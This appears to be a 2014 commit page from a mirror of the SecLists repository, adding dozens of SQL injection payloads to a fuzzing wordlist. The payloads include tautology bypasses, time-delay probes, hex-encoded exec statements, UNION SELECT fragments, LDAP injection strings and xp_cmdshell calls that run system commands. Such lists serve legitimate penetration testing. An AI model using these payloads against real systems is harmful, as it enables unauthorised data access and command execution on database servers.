sync/SecLists
1
0
Fork 0
mirror of https://github.com/danielmiessler/SecLists.git synced 2025-07-18 01:39:18 -04:00
Code Issues Projects Releases Packages Wiki Activity Actions 3

Update Generic_SQLi

Browse source
This commit is contained in:
Jason Haddix 2014-07-23 03:48:38 -07:00
parent 13e3bbb403
commit 2eaeada471
1 changed files with 54 additions and 3 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

57
Fuzzing/Generic_SQLi
View file

@ -49,7 +49,6 @@ a' waitfor delay '0:0:10'--
1;(load_file(char(47,101,116,99,47,112,97,115, ... 1;(load_file(char(47,101,116,99,47,112,97,115, ...
or%201=1 or%201=1
1 or sleep(__TIME__)# 1 or sleep(__TIME__)#
));waitfor delay '0:0:__TIME__'--
or 1=1 or 1=1
and 1 in (select var from temp)-- and 1 in (select var from temp)--
or '7659'='7659 or '7659'='7659
@ -186,11 +185,9 @@ or 0=0 #
hi or a=a hi or a=a
*(|(mail=*)) *(|(mail=*))
password:*/=1-- password:*/=1--
or 1=1--
distinct distinct
);waitfor delay '0:0:__TIME__'-- );waitfor delay '0:0:__TIME__'--
to_timestamp_tz to_timestamp_tz
;waitfor delay '0:0:__TIME__'--
") or benchmark(10000000,MD5(1))# ") or benchmark(10000000,MD5(1))#
UNION SELECT UNION SELECT
%2A%28%7C%28mail%3D%2A%29%29 %2A%28%7C%28mail%3D%2A%29%29
@ -214,3 +211,57 @@ x' or 1=1 or 'x'='y
? ?
or 1/* or 1/*
! !
'
or a = a
declare @q nvarchar (200) select @q = 0x770061006900740066006F0072002000640065006C00610079002000270030003A0030003A0031003000270000 exec(@q)
declare @s varchar(200) select @s = 0x77616974666F722064656C61792027303A303A31302700 exec(@s)
declare @q nvarchar (200) 0x730065006c00650063007400200040004000760065007200730069006f006e00 exec(@q)
declare @s varchar (200) select @s = 0x73656c65637420404076657273696f6e exec(@s)
' or 1=1
 or 1=1 --
x' OR full_name LIKE '%Bob%
'; exec master..xp_cmdshell 'ping 172.10.1.255'--
'%20or%20''='
'%20or%20'x'='x
')%20or%20('x'='x
' or 0=0 --
' or 0=0 #
or 0=0 #"
' or 1=1--
' or '1'='1'--
' or 1 --'
or 1=1--
' or 1=1 or ''='
or 1=1 or ""=
' or a=a--
or a=a
') or ('a'='a
'hi' or 'x'='x';
or
procedure
handler
' or username like '%
' or uname like '%
' or userid like '%
' or uid like '%
' or user like '%
'; exec master..xp_cmdshell
'; exec xp_regread
t'exec master..xp_cmdshell 'nslookup www.google.com'--
--sp_password
' UNION SELECT
' UNION ALL SELECT
' or (EXISTS)
' (select top 1
'||UTL_HTTP.REQUEST
1;SELECT%20*
<>"'%;)(&+
'%20or%201=1
'sqlattempt1
%28
%29
%26
%21
' or ''='
' or 3=3
 or 3=3 --